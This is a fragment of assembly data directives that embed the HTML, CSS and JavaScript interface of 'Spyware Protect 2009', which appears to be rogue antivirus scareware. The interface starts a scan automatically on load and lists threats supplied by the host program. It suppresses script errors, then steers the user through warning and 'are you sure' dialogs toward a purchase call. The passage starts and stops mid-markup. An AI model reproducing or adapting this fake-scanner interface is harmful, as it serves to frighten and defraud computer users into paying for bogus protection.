'}',0Dh,0Ah db 0Dh,0Ah db '.scanProgress span.lt-green {',0Dh,0Ah db ' color:#89ad1b; ',0Dh,0Ah db '}',0Dh,0Ah db '.scanProgressScale {',0Dh,0Ah db ' width:630px;',0Dh,0Ah db ' height:21px;',0Dh,0Ah db ' background:url(scan-progress-scale-bg.gif) no-repeat center c' db 'enter;',0Dh,0Ah db ' overflow:hidden;',0Dh,0Ah db '}',0Dh,0Ah db '#footerBlock {',0Dh,0Ah db ' width:940px;',0Dh,0Ah db ' height:21px;',0Dh,0Ah db ' ',9,'position: relative;',0Dh,0Ah db ' top: -8px;',0Dh,0Ah db ' background:url(footer-bg.gif) no-repeat center top;',0Dh,0Ah db '}',0Dh,0Ah db '.headerRightPart {',0Dh,0Ah db ' padding:7px 20px 0 0;',0Dh,0Ah db ' text-align:right;',0Dh,0Ah db '}',0Dh,0Ah db '.clobut {',0Dh,0Ah db 9,'position: relative;',0Dh,0Ah db 9,'top: -80px;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db '#contentBlock-leftColumn {',0Dh,0Ah db 9,'float: left;',0Dh,0Ah db 9,'position: relative;',0Dh,0Ah db ' width:249px;',0Dh,0Ah db ' top: -8px;',0Dh,0Ah db ' height:475px;',0Dh,0Ah db ' padding:20px 0 -20px 0;',0Dh,0Ah db ' background:url(content-leftColumn-bg.gif) no-repeat left top;' db 0Dh,0Ah db '}',0Dh,0Ah db '#contentBlock-leftColumn .but {',0Dh,0Ah db ' width:241px;',0Dh,0Ah db ' height:40px;',0Dh,0Ah db ' background:url(menu-bg.gif) no-repeat left center;',0Dh,0Ah db '}',0Dh,0Ah db '#contentBlock-leftColumn .butSelected {',0Dh,0Ah db ' width:241px;',0Dh,0Ah db ' height:40px;',0Dh,0Ah db ' background:url(menu-bg-selected.gif) no-repeat left center;',0Dh db 0Ah db '}',0Dh,0Ah db '.leftColumnTab div {',0Dh,0Ah db ' padding:0 0 0 75px;',0Dh,0Ah db ' vaertical-align:middle;',0Dh,0Ah db ' height:47px;',0Dh,0Ah db ' font-size:18px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#00667e;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.menuTopMargin {',0Dh,0Ah db ' margin:5px 0 0 0;',0Dh,0Ah db '}',0Dh,0Ah db '.tab1 {',0Dh,0Ah db ' background:url(tab1-pic.gif) no-repeat 25px center;',0Dh,0Ah db ' position: relative;',0Dh,0Ah db ' left: -70px;',0Dh,0Ah db '}',0Dh,0Ah db '.tab2 {',0Dh,0Ah db ' background:url(tab2-pic.gif) no-repeat 25px center;',0Dh,0Ah db ' position: relative;',0Dh,0Ah db ' left: -70px;',0Dh,0Ah db '}',0Dh,0Ah db '.tab3 {',0Dh,0Ah db ' background:url(tab3-pic.gif) no-repeat 25px center;',0Dh,0Ah db ' position: relative;',0Dh,0Ah db ' left: -70px;',0Dh,0Ah db '}',0Dh,0Ah db '.tab4 {',0Dh,0Ah db ' background:url(tab4-pic.gif) no-repeat 25px center;',0Dh,0Ah db ' position: relative;',0Dh,0Ah db ' left: -70px;',0Dh,0Ah db '}',0Dh,0Ah db '.tab5 {',0Dh,0Ah db ' background:url(tab5-pic.gif) no-repeat 25px center;',0Dh,0Ah db ' position: relative;',0Dh,0Ah db ' left: -70px;',0Dh,0Ah db '}',0Dh,0Ah db '.menuText {',0Dh,0Ah db 9,'position:relative;',0Dh,0Ah db 9,'top:12px;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.menuTextTry',0Dh,0Ah db '{',0Dh,0Ah db 9,'position:relative;',0Dh,0Ah db 9,'top:12px;',0Dh,0Ah db 9,'color:#00a9d1;',0Dh,0Ah db '}',0Dh,0Ah db '.regTextMargin {',0Dh,0Ah db ' text-align:center;',0Dh,0Ah db ' margin:100px 0 0 8px;',0Dh,0Ah db ' cursor: hand;',0Dh,0Ah db '}',0Dh,0Ah db '.updBase {',0Dh,0Ah db ' height:50px;',0Dh,0Ah db ' background: transparent url(upd-base-bg.gif) no-repeat center' db ' center;',0Dh,0Ah db ' cursor: hand;',0Dh,0Ah db '}',0Dh,0Ah db '.updBasePadding {',0Dh,0Ah db ' padding:0 0 0 12px;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.updBaseCell {',0Dh,0Ah db ' margin:0 0 0 3px;',0Dh,0Ah db ' width:84px;',0Dh,0Ah db ' height:23px;',0Dh,0Ah db ' text-align:center;',0Dh,0Ah db ' vertical-align:middle;',0Dh,0Ah db '}',0Dh,0Ah db '.updBaseText {',0Dh,0Ah db ' color:#fff!important;',0Dh,0Ah db ' font-size:10px!important;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.updBase span {',0Dh,0Ah db ' font-size:10px!important;',0Dh,0Ah db '}',0Dh,0Ah db '.scanerActionButton {',0Dh,0Ah db ' width:90px;',0Dh,0Ah db ' text-align:center;',0Dh,0Ah db '}',0Dh,0Ah db '.scanButStart {',0Dh,0Ah db 9,'width:98px;',0Dh,0Ah db 9,'height:27px;',0Dh,0Ah db ' background:url(scaner-action-button-bg.gif) no-repeat;',0Dh,0Ah db ' font-size:12px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db ' color:#fff;',0Dh,0Ah db ' cursor:hand;',9,0Dh,0Ah db '}',0Dh,0Ah db '.tabTextBg {',0Dh,0Ah db ' width:658px;',0Dh,0Ah db ' margin:9px 0 0 0;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.tabTextBgPadding {',0Dh,0Ah db ' padding:7px 7px 7px 7px;',0Dh,0Ah db '}',0Dh,0Ah db '.tabTextBg span.header, p{',0Dh,0Ah db ' font-size:12px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db ' color:#4e4e4e;',0Dh,0Ah db '}',0Dh,0Ah db '.tabTextBg span{',0Dh,0Ah db ' font-size:12px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db ' color:#4e4e4e;',0Dh,0Ah db '}',0Dh,0Ah db '.tabTextBg p {',0Dh,0Ah db ' font-weight:normal;',0Dh,0Ah db '}',0Dh,0Ah db '.activeBut {',0Dh,0Ah db 9,'width:190px;',0Dh,0Ah db 9,'height:27px;',0Dh,0Ah db ' background:url(activate-button-bg.gif) no-repeat;',0Dh,0Ah db ' font-size:12px;',0Dh,0Ah db ' font-family:Verdana,sans-serif;',0Dh,0Ah db ' font-weight:bold;',0Dh,0Ah db ' color:#fff;',0Dh,0Ah db ' cursor:hand;',9,0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.virusInfo {',0Dh,0Ah db 9,'background: url(',27h,'virusinfo-active.gif',27h,') no-repeat;',0Dh,0Ah db 9,'overflow:hidden;',0Dh,0Ah db 9,'position:absolute;',0Dh,0Ah db 9,'left:310px;',0Dh,0Ah db 9,'top:270px;',0Dh,0Ah db 9,'width:541px;',0Dh,0Ah db 9,'height:244px;',0Dh,0Ah db 9,'z-index:2;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.warningDialog {',0Dh,0Ah db 9,'background: url(',27h,'warning.gif',27h,') no-repeat;',0Dh,0Ah db 9,'overflow:hidden;',0Dh,0Ah db 9,'position:absolute;',0Dh,0Ah db 9,'left:310px;',0Dh,0Ah db 9,'top:210px;',0Dh,0Ah db 9,'width:541px;',0Dh,0Ah db 9,'height:244px;',0Dh,0Ah db 9,'z-index:2;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.warningDialogActive',0Dh,0Ah db '{',0Dh,0Ah db 9,'background: url(',27h,'warning-active.gif',27h,') no-repeat;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.purchaseDialog',0Dh,0Ah db '{',0Dh,0Ah db 9,'background: url(',27h,'purchase.gif',27h,') no-repeat;',0Dh,0Ah db 9,'overflow:hidden;',0Dh,0Ah db 9,'position:absolute;',0Dh,0Ah db 9,'left:310px;',0Dh,0Ah db 9,'top:250px;',0Dh,0Ah db 9,'width:541px;',0Dh,0Ah db 9,'height:244px;',0Dh,0Ah db 9,'z-index:3;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.purchaseDialogActive {',0Dh,0Ah db 9,'background: url(',27h,'purchase-active.gif',27h,') no-repeat;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '.sureDialog {',0Dh,0Ah db 9,'background: url(',27h,'sure-active.gif',27h,') no-repeat;',0Dh,0Ah db 9,'overflow:hidden;',0Dh,0Ah db 9,'position:absolute;',0Dh,0Ah db 9,'left:310px;',0Dh,0Ah db 9,'top:290px;',0Dh,0Ah db 9,'width:541px;',0Dh,0Ah db 9,'height:244px;',0Dh,0Ah db 9,'z-index:4;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'div#content { position: relative; z-index: 1;}',0Dh,0Ah db 'img#bg { margin-top:8px;}',0Dh,0Ah db '-->',0Dh,0Ah db '</style>',0Dh,0Ah db '<!--[if IE 6]>',0Dh,0Ah db '<style type="text/css">',0Dh,0Ah db '#bg { z-index: -1; }',0Dh,0Ah db '</style>',0Dh,0Ah db '<![endif]-->',0Dh,0Ah db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah db '<script type="text/javascript">',0Dh,0Ah db '//external.SetTitle("Spyware Protect 2009");',0Dh,0Ah db 'external.Show(940, 603);',0Dh,0Ah db 'document.onselectstart =',0Dh,0Ah db ' function () { return false; };',0Dh,0Ah db 'function noError(){return true;}',0Dh,0Ah db 'window.onerror = noError;',0Dh,0Ah db 0Dh,0Ah db 9,0Dh,0Ah db ' ',0Dh,0Ah db 0Dh,0Ah db 'function init()',0Dh,0Ah db '{',0Dh,0Ah db 9,'var tab1text = document.getElementById(',27h,'tab1text',27h,');',0Dh,0Ah db 9,'var tab2text = document.getElementById(',27h,'tab2text',27h,');',0Dh,0Ah db 9,'var tab3text = document.getElementById(',27h,'tab3text',27h,');',0Dh,0Ah db 9,'var tab4text = document.getElementById(',27h,'tab4text',27h,');',0Dh,0Ah db 9,'var tab5text = document.getElementById(',27h,'tab5text',27h,');',0Dh,0Ah db 9,'var tab1 = document.getElementById(',27h,'tab1',27h,');',0Dh,0Ah db 9,'var tab2 = document.getElementById(',27h,'tab2',27h,');',0Dh,0Ah db 9,'var tab3 = document.getElementById(',27h,'tab3',27h,');',0Dh,0Ah db 9,'var tab4 = document.getElementById(',27h,'tab4',27h,');',0Dh,0Ah db 9,'var tab5 = document.getElementById(',27h,'tab5',27h,');',0Dh,0Ah db 9,'scan_panel = document.getElementById(',27h,'scan-panel',27h,');',0Dh,0Ah db 9,'settings_panel = document.getElementById(',27h,'settings-panel',27h,')' db ';',0Dh,0Ah db 9,'update_panel = document.getElementById(',27h,'update-panel',27h,');',0Dh,0Ah db 9,'activate_panel = document.getElementById(',27h,'activate-panel',27h,')' db ';',0Dh,0Ah db 9,'help_panel = document.getElementById(',27h,'help-panel',27h,');',0Dh,0Ah db 0Dh,0Ah db 9,'virus_table = document.getElementById(',27h,'virusTable',27h,');',0Dh,0Ah db 9,'scroll_table = document.getElementById(',27h,'scrollRezultTable',27h,')' db ';',0Dh,0Ah db 9,'scan_status = document.getElementById(',27h,'IDstatusmessage',27h,');',0Dh db 0Ah db 9,'scan_file = document.getElementById(',27h,'IDscanedfile',27h,');',0Dh,0Ah db 9,'scan_total = document.getElementById(',27h,'IDtotal',27h,');',0Dh,0Ah db 9,'scan_threats = document.getElementById(',27h,'IDthreats',27h,');',0Dh,0Ah db 9,0Dh,0Ah db 9,'progress_bar = document.getElementById(',27h,'progressBar',27h,'); ',0Dh,0Ah db 9,'progress_percent = document.getElementById(',27h,'progressPercent',27h db ');',0Dh,0Ah db 0Dh,0Ah db 9,'scan_button = document.getElementById(',27h,'scanButton',27h,');',0Dh,0Ah db 9,0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' ',9,'purchaseActive = false;',0Dh,0Ah db ' ',9,'warningActive = false;',0Dh,0Ah db 9,'scanned_files = 0;',0Dh,0Ah db 9,'scanned_threats = 0;',0Dh,0Ah db 9,'activeMenu = ',27h,27h,';',0Dh,0Ah db 9,'prevSel = tab1text;',0Dh,0Ah db 9,'prevMenu = scan_panel;',0Dh,0Ah db 9,'prevBut = tab1;',0Dh,0Ah db 9,'scanMode = false;',0Dh,0Ah db 9,'onMenuClick(',27h,'tab1',27h,');',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'function onMenu(id)',0Dh,0Ah db '{',0Dh,0Ah db 0Dh,0Ah db 9,'if(activeMenu == id || scanMode == true) return;',0Dh,0Ah db 0Dh,0Ah db 9,'if(prevSel != ',27h,27h,') prevSel.className=',27h,'menuText',27h,';',0Dh,0Ah db 9,'switch(id)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'case ',27h,'tab1',27h,':',0Dh,0Ah db 9,9,9,'prevSel = tab1text;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah db 9,9,9,'prevSel = tab2text;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah db 9,9,9,'prevSel = tab3text;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah db 9,9,9,'prevSel = tab4text;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah db 9,9,9,'prevSel = tab5text;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,'};',0Dh,0Ah db 9,'prevSel.className = ',27h,'menuTextTry',27h,';',0Dh,0Ah db 9,0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function onMenuClick(id)',0Dh,0Ah db '{',0Dh,0Ah db 9,'if(id == activeMenu || scanMode == true) return;',0Dh,0Ah db 9,0Dh,0Ah db 9,'if(prevBut != ',27h,27h,') prevBut.className = ',27h,'but',27h,';',0Dh,0Ah db 9,'if(prevMenu != ',27h,27h,') prevMenu.style.display = ',27h,'none',27h,';',0Dh,0Ah db 9,0Dh,0Ah db 9,'switch(id)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'case ',27h,'tab1',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab1;',0Dh,0Ah db 9,9,9,'prevMenu = scan_panel;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db '/*',9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab2;',0Dh,0Ah db 9,9,9,'prevMenu = settings_panel;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab3;',0Dh,0Ah db 9,9,9,'prevMenu = update_panel;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab4;',0Dh,0Ah db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab5;',0Dh,0Ah db 9,9,9,'prevMenu = help_panel;',0Dh,0Ah db 9,9,'break;*/',0Dh,0Ah db 9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab2;',0Dh,0Ah db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab3;',0Dh,0Ah db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab4;',0Dh,0Ah db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah db 9,9,9,'prevBut = tab5;',0Dh,0Ah db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,'};',0Dh,0Ah db 9,'prevBut.className = ',27h,'butSelected',27h,';',0Dh,0Ah db 9,'prevMenu.style.display = ',27h,'block',27h,';',0Dh,0Ah db 9,'prevSel.className=',27h,'menuText',27h,';',0Dh,0Ah db 9,'activeMenu = id;',0Dh,0Ah db 0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'function addVirusTable(name, severity, description)',0Dh,0Ah db '{',0Dh,0Ah db ' row = virus_table.insertRow(-1);',0Dh,0Ah db ' cell1 = row.insertCell(-1);',0Dh,0Ah db ' cell2 = row.insertCell(-1);',0Dh,0Ah db ' cell3 = row.insertCell(-1);',0Dh,0Ah db 0Dh,0Ah db ' cell1.innerHTML = ',27h,'<div class="rezultTablePath"><span clas' db 's="verticalAlignMiddle">',27h,'+name+',27h,'</span></div>',27h,';',0Dh,0Ah db ' cell1.className = ',27h,'rezultTableCell1 verticalAlignTop',27h,';',0Dh db 0Ah db ' cell2.innerHTML = ',27h,'<img style="float:left;" class="vertica' db 'lAlignMiddle" src="alert-icon-small.gif" width="14" height="13" ' db 'border="0" /> <span class="color1 verticalAlignMiddle">',27h,'+sever' db 'ity+',27h,'</span>',27h,';',0Dh,0Ah db ' cell2.className = ',27h,'rezultTableCell2 verticalAlignTop',27h,';',0Dh db 0Ah db ' cell3.innerHTML = ',27h,'<div class="color2"><a href="javascript' db ':showVirusDescription(\',27h,27h,'+name+',27h,'\',27h,',\',27h,27h,'+severity+',27h,'\' db 27h,',\',27h,27h,'+description+',27h,'\',27h,');">',27h,'+description+',27h,'</a></div>' db 27h,';',0Dh,0Ah db ' cell3.className = ',27h,'rezultTableCell3 verticalAlignTop',27h,';',0Dh db 0Ah db ' scanned_threats = scanned_threats + 1;',0Dh,0Ah db ' scan_threats.innerHTML = scanned_threats;',0Dh,0Ah db ' ',0Dh,0Ah db ' //scroll_table.scrollTop = 99999;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function clearVirusTable()',0Dh,0Ah db '{',0Dh,0Ah db 9,'for(i=virus_table.rows.length-1; i > -1; i--)',0Dh,0Ah db 9,9,'virus_table.deleteRow(i); ',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function setScanStatus(status)',0Dh,0Ah db '{',0Dh,0Ah db 9,'scan_status.innerHTML = status;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function setScanFile(filename)',0Dh,0Ah db '{',0Dh,0Ah db 9,'scan_file.innerHTML = filename;',0Dh,0Ah db 9,'scanned_files = scanned_files+1;',0Dh,0Ah db 9,'scan_total.innerHTML = scanned_files;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function setProgressBar(percent)',0Dh,0Ah db '{',0Dh,0Ah db 9,'progress_percent.innerHTML = percent + ',27h,'%',27h,';',0Dh,0Ah db 9,'if(percent == 100)',0Dh,0Ah db 9,9,'progress_bar.style.display = ',27h,'none',27h,';',0Dh,0Ah db 9,'else',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'progress_bar.style.width = (100 - percent) + ',27h,'%',27h,';',0Dh,0Ah db 9,9,'progress_bar.style.display = ',27h,'block',27h,';',0Dh,0Ah db 9,'}',9,0Dh,0Ah db 0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function onScanButtonClick()',0Dh,0Ah db '{',0Dh,0Ah db 9,'external.scanButtonClick();',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function scanStart()',0Dh,0Ah db '{',0Dh,0Ah db 9,'setScanStatus(',27h,'Scanning computer',27h,');',9,0Dh,0Ah db 9,'setProgressBar(0);',0Dh,0Ah db 9,'clearVirusTable();',0Dh,0Ah db 9,'scanButton.innerHTML = "Stop scan";',0Dh,0Ah db 9,'scanMode=true;',0Dh,0Ah db 9,'scanned_files = 0;',0Dh,0Ah db 9,'scanned_threats = 0;',0Dh,0Ah db 9,'scan_total.innerHTML = scanned_files;',0Dh,0Ah db 9,'scan_threats.innerHTML = scanned_threats;',0Dh,0Ah db 9,'warningDialog(',27h,'hide',27h,');',0Dh,0Ah db 9,'purchaseDialog(',27h,'hide',27h,');',0Dh,0Ah db 9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function scanStop()',0Dh,0Ah db '{',0Dh,0Ah db 9,'setScanStatus(',27h,'Scan complete',27h,');',9,0Dh,0Ah db 9,'setProgressBar(100);',0Dh,0Ah db 9,'scanButton.innerHTML = "Start scan";',0Dh,0Ah db 9,'scanMode=false;',9,0Dh,0Ah db 9,'hideVirusDescription();',0Dh,0Ah db 9,'if(scanned_threats>0) warningDialog(',27h,'show',27h,');',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function showPurchase()',0Dh,0Ah db '{',0Dh,0Ah db 9,'purchaseDialog(',27h,'show',27h,');',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function showVirusDescription(name, severity, description)',0Dh,0Ah db '{',0Dh,0Ah db 9,'document.getElementById(',27h,'threatName',27h,').innerHTML = name;',0Dh,0Ah db 9,'document.getElementById(',27h,'riskLevel',27h,').innerHTML = severity;' db 0Dh,0Ah db 9,'document.getElementById(',27h,'threatDescription',27h,').innerHTML = d' db 'escription; ',0Dh,0Ah db 9,'document.getElementById(',27h,'virusInfo',27h,').style.display=',27h,'blo' db 'ck',27h,'; ',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function hideVirusDescription()',0Dh,0Ah db '{',0Dh,0Ah db 9,'document.getElementById(',27h,'virusInfo',27h,').style.display=',27h,'non' db 'e',27h,'; ',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'function warningDialog(mode)',0Dh,0Ah db '{',0Dh,0Ah db 9,'dialog = document.getElementById(',27h,'warningDialog',27h,');',0Dh,0Ah db 9,'switch(mode)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah db 9,9,9,'if(purchaseActive == false)',0Dh,0Ah db 9,9,9,'{',0Dh,0Ah db 9,9,9,9,'dialog.className = ',27h,'warningDialog warningDialogActive',27h,';' db 0Dh,0Ah db 9,9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah db 9,9,9,9,'scanMode=true;',0Dh,0Ah db 9,9,9,9,'warningActive=true;',0Dh,0Ah db 9,9,9,'}',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah db 9,9,9,'warningActive=false;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'noactive',27h,':',0Dh,0Ah db 9,9,9,'dialog.className = ',27h,'warningDialog',27h,';',0Dh,0Ah db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah db 9,9,9,'warningActive=false;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,'}',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function purchaseDialog(mode)',0Dh,0Ah db '{',0Dh,0Ah db 9,'dialog = document.getElementById(',27h,'purchaseDialog',27h,');',0Dh,0Ah db 9,'switch(mode)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah db 9,9,9,'if(warningActive == false)',0Dh,0Ah db 9,9,9,'{',0Dh,0Ah db 9,9,9,9,'dialog.className = ',27h,'purchaseDialog purchaseDialogActive',27h,';' db 0Dh,0Ah db 9,9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah db 9,9,9,9,'scanMode=true;',0Dh,0Ah db 9,9,9,9,'purchaseActive = true;',0Dh,0Ah db 9,9,9,'}',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah db 9,9,9,'purchaseActive = false;',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'noactive',27h,':',0Dh,0Ah db 9,9,9,'dialog.className = ',27h,'purchaseDialog',27h,';',0Dh,0Ah db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,'}',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function sureDialog(mode)',0Dh,0Ah db '{',0Dh,0Ah db 9,'dialog = document.getElementById(',27h,'sureDialog',27h,');',0Dh,0Ah db 9,'switch(mode)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah db 9,9,9,'dialog.className = ',27h,'sureDialog',27h,';',0Dh,0Ah db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah db 9,9,'break;',0Dh,0Ah db 9,'}',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'function onWarningDialog(but)',0Dh,0Ah db '{',0Dh,0Ah db 9,'if(but == 0)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'warningDialog(',27h,'noactive',27h,');',0Dh,0Ah db 9,9,'purchaseDialog(',27h,'show',27h,');',0Dh,0Ah db 9,'}',0Dh,0Ah db 9,'else',0Dh,0Ah db 9,'if(but == 1)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'warningDialog(',27h,'noactive',27h,');',0Dh,0Ah db 9,9,'prevDialog = ',27h,'warningDialog',27h,';',0Dh,0Ah db 9,9,'sureDialog(',27h,'show',27h,');',0Dh,0Ah db 9,'}',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function onPurchaseDialog(but)',0Dh,0Ah db '{',0Dh,0Ah db 9,'if(but == 0)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'external.purchase();',0Dh,0Ah db 9,'}',0Dh,0Ah db 9,'else',0Dh,0Ah db 9,'if(but == 1)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'purchaseDialog(',27h,'noactive',27h,');',0Dh,0Ah db 9,9,'prevDialog = ',27h,'purchaseDialog',27h,';',0Dh,0Ah db 9,9,'sureDialog(',27h,'show',27h,');',0Dh,0Ah db 9,'}',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function onSureDialog(but)',0Dh,0Ah db '{',0Dh,0Ah db 9,'if(but == 0)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah db 9,9,'warningDialog(',27h,'hide',27h,');',0Dh,0Ah db 9,9,'purchaseDialog(',27h,'hide',27h,');',0Dh,0Ah db 9,9,'scanMode=false;',0Dh,0Ah db 9,'}',0Dh,0Ah db 9,'else',0Dh,0Ah db 9,'if(but == 1)',0Dh,0Ah db 9,'{',0Dh,0Ah db 9,9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah db 9,9,'if( prevDialog == ',27h,'purchaseDialog',27h,' ) {purchaseDialog(',27h,'s' db 'how',27h,');}',0Dh,0Ah db 9,9,'if( prevDialog == ',27h,'warningDialog',27h,' ) {warningDialog(',27h,'sh' db 'ow',27h,');}',0Dh,0Ah db 9,'}',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db '</script>',0Dh,0Ah db '</head>',0Dh,0Ah db '<body onload="init();setScanStatus(',27h,'Ready',27h,');external.scanBu' db 'ttonClick();">',0Dh,0Ah db '<div onclick="this.style.display=',27h,'none',27h,';" id="virusInfo" st' db 'yle="display:none;" class="virusInfo">',0Dh,0Ah db '<div style="position: relative;left: 30px;top: 40px;margin-right:' db ' 40px;font-size:10px;font-family:Verdana,sans-serif;">',0Dh,0Ah db 'Threat: <span id="threatName"></span><br/><br/>Risk Level: <span ' db 'id="riskLevel"></span><br/><br/>Description: <span id="threatDesc' db 'ription"></span>',0Dh,0Ah db '</div>',0Dh,0Ah db '</div>',0Dh,0Ah db 0Dh,0Ah db '<div id="warningDialog" style="display:none;" class="warningDialo' db 'g">',0Dh,0Ah db '<div style="position: relative;left: 65px;top: 107px;width:198px;' db 'height:28px;cursor:hand;" onclick="onWarningDialog(0);"></div>',0Dh,0Ah db '<div style="position: relative;left: 273px;top: 79px;width:198px;' db 'height:28px;cursor:hand;" onclick="onWarningDialog(1);"></div>',0Dh,0Ah db '</div>',0Dh,0Ah db 0Dh,0Ah db '<div id="purchaseDialog" style="display:none;" class="purchaseDia' db 'log">',0Dh,0Ah db '<div style="position: relative;left: 65px;top: 187px;width:198px;' db 'height:28px;cursor:hand;" onclick="onPurchaseDialog(0);"></div>',0Dh db 0Ah db '<div style="position: relative;left: 273px;top: 159px;width:198px' db ';height:28px;cursor:hand;" onclick="onPurchaseDialog(1);"></div>',0Dh db 0Ah db '</div>',0Dh,0Ah db 0Dh,0Ah db '<div id="sureDialog" style="display:none;" 